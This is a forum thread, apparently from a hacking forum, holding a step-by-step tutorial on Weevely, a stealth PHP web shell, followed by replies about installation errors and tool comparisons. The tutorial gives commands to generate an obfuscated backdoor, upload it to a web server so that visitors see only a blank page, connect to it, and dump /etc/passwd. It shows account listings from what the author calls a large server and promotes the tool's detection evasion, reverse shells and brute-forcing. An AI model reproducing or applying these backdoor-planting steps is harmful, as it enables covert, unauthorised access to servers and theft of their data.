[Techie‌‌‌]

How to use Weevely - Stealth tiny web shell

Introduction

Hello ladies & gentlemen. Today, in this tutorial, I will be covering how to use Weevely - A Stealth tiny Web Shell.

What is Weevely?

Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Official website:

http://epinna.github.com/Weevely/

Main features:
More than 30 modules to automatize administration and post exploitation tasks
o Execute commands and browse remote filesystem, even with PHP security restriction
o Audit common server misconfigurations
o Run SQL console pivoting on target machine
o Simple file transfer from and to target
o Spawn reverse and direct TCP shells
o Bruteforce passwords of target system users
o And so on..

Backdoor communications are hidden in HTTP Cookies Communications are obfuscated to bypass NIDS signature detection
Backdoor polymorphic PHP code is obfuscated to avoid HIDS AV detection

---

Steps on how to use.

In this tutorial I will be using Ubuntu 10.04 with Weevely installed. I installed using the .deb package. For you, if you are on Windows, you can download .py (Python) file and run it. You will need Python to be installed on your computer. Now let's go the tutorial.

1. First, I'm starting Weevely

For this, I will just type weevely on the terminal or console.

techie@box:~$ weevely

Result:

Spoiler (Click to View)

Code

techie@box:~$ weevely

Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

Start telnet-like session
  weevely <url> <password>

Run single command or module
  weevely <url> <password> <command> [argument1] [argument2] ..

Generate PHP backdoor script
  weevely generate <password> <output path>

Show modules help
  weevely <url> <password> :show [module name]

Available modules

  [audit] audit.etc_passwd, audit.user_web_files, audit.user_files
  [backdoor] backdoor.reverse_tcp, backdoor.tcp, backdoor.install
  [bruteforce] bruteforce.sql, bruteforce.ftp_users, bruteforce.ftp, bruteforce.sql_users
  [file] file.upload, file.enum, file.check, file.read, file.download
  [find] find.perms, find.name, find.suidsgid, find.webdir
  [shell] shell.sh, shell.php
  [sql] sql.query, sql.summary, sql.dump, sql.console
  [system] system.info

---

2. Now the second step is to generate a PHP code (backdoor).For this, we should type,

weevely generate <password> <output path>

In my case

techie@box:~$ weevely generate tutorial /home/techie/bac.php

Note : techie stands for your username and tutorial is the password I give.

Result:

Code

Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

+ Backdoor file '/home/techie/bac.php' created with password 'tutorial'.

Then, we can upload this code to a web server or site. If somebody visits the URL, they will just see a blank page. 😈

---

3. Now, let's us connect to the backdoor from the terminal.

techie@box:~$ weevely http://site.com/dir/bac.php tutorial

Note : tutorial is the password.

Result:

Spoiler (Click to View)

Code

Weevely 0.6 - Generate and manage stealth PHP backdoors
    Emilio Pinna 2011-2012    

[+] Starting terminal. Shell probe may take a while...

[+] List modules with <tab> and show help with :show [module name]

[email protected]:/home/user/public_html/dir$

---

4. Now, let's us try a simple command.

[email protected]:/home/user/public_html/dir$ cat /etc/passwd

Spoiler (Click to View)

Result:

Code

hiebad:x:900:899::/home/hiebad:/usr/local/cpanel/bin/noshell
bahost:x:901:900::/home/bahost:/bin/false
mabofr:x:902:901::/home/mabofr:/bin/false
tiswab:x:903:902::/home/tiswab:/usr/local/cpanel/bin/noshell
timuch:x:904:903::/home/timuch:/bin/false
uonbis:x:905:904::/home/uonbis:/bin/false
tetrec:x:906:905::/home/tetrec:/usr/local/cpanel/bin/noshell
vchcho:x:907:906::/home/vchcho:/usr/local/cpanel/bin/noshell
privuw:x:908:907::/home/privuw:/usr/local/cpanel/bin/noshell

Spoiler (Click to View)

😶

The server I used is a big server. But I have listed only some users here.

---

Conclusion

Hope you understand how to use Weevely. There are also a lot of modules in Weevely. To use this, just read the help (type weevely) and do like that.

Here is a list of available Modules:

https://github.com/epinna/Weevely/wiki/Modules-list

Also, here is a video tutorial. (Created by the script author)




See you. 🙂

[Techie‌‌‌]

Keep getting this error, any tips?

Code

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\d>weevely.py
'weevely.py' is not recognized as an internal or external command,
operable program or batch file.

C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop

C:\Documents and Settings\d\Desktop>weevely.py
Traceback (most recent call last):
  File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>
    from core.terminal import Terminal, module_trigger, help_string
  File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul
e>
    from core.enviroinment import Enviroinment
  File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m
odule>
    import readline, atexit, os, re, shlex
ImportError: No module named readline

C:\Documents and Settings\d\Desktop>

Any help? Yes, all files are with each other, i altered nothing

What version of Python are you using? Which OS are you using?

[Techie‌‌‌]

Windows XP with Python 2.7.3 under a VirtualBox

---

Windows XP with Python 2.7.3 under a VirtualBox

Looks like you downloaded the .py file only.

Try this : https://github.com/downloads/epinna/Weev...0.6.tar.gz

Edit : Confirmed. It is working. Download the full package. https://github.com/downloads/epinna/Weev...0.6.tar.gz

Only 2 replies for 55 views? :(

[Sw1x]

Nice tutorial, I find this very useful. :)

[lprh_mcr]

nice one bro:
keep up the good work
oh and try trixd00r
:)

[Techie‌‌‌]

nice one bro:
keep up the good work
oh and try trixd00r
:)

Yes. I have been already preparing it with my friends. ;)

Stay tuned.

[joomlafkr]

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

[Techie‌‌‌]

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

Thank you man. Appreciate this. 🤝

Edit : Just ran up a test between Weevely and WeBaCoo. Looks like Weevely is wining. :D

[joomlafkr]

Yeah weevely is by far better then WeBaCoo !
wel WeBaCoo has the built-in proxy support !
but'em weevely has better features !

[noober1001]

Thanks for sharing this.
Keep it up bro.

[Techie‌‌‌]

Thank you guys for your nice comments.

Haha. I didn't know how to start for HF. So I said ladies & gentlemen. LOL.

[Techie‌‌‌]

Thanks for the comment guys. Keep posting. :)

[Yahooo]

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

[Techie‌‌‌]

I still like WeBaCoo especially that it now has the post exploit modules you can switch to for interacting with Database or uploading files easily but this is a great tool if no one has ever used it> I highly recommend one or the other (or both) in any arsenal. Nice write up Techie!

Well, I don't know whether it is just me. But I don't like WeBaCoo than Weevely. Because most of the functions of WeBaCoo are blocked in servers; like the default function system(). I sometimes get frustrated because some of the functions are disabled. Also, Weevely uses a better technique of connecting. I hope you didn't miss the Weevely modules. They are actually great for Pentesting, like /etc/passwd audit and SQL manager. Password protection shouldn't be forgot. Also, I used to use WeBaCoo but now I'm in love with Weevely lol. Will use WeBaCoo though. Maybe someone adds the specific features of WeBaCoo to Weevely? Hehe. Thanks. :)

---

Loving the new tutorials Techie. Another great one from yourself. I actually downloaded Weevely, and havent used it due to not being able to find a clear enough guide for it. This has helped a lot.

Thank you. :)

If you have any suggestions, feel free to post on the suggestions thread. ✌

[Techie‌‌‌]

Glad you liked it. Thanks for posting. 🙂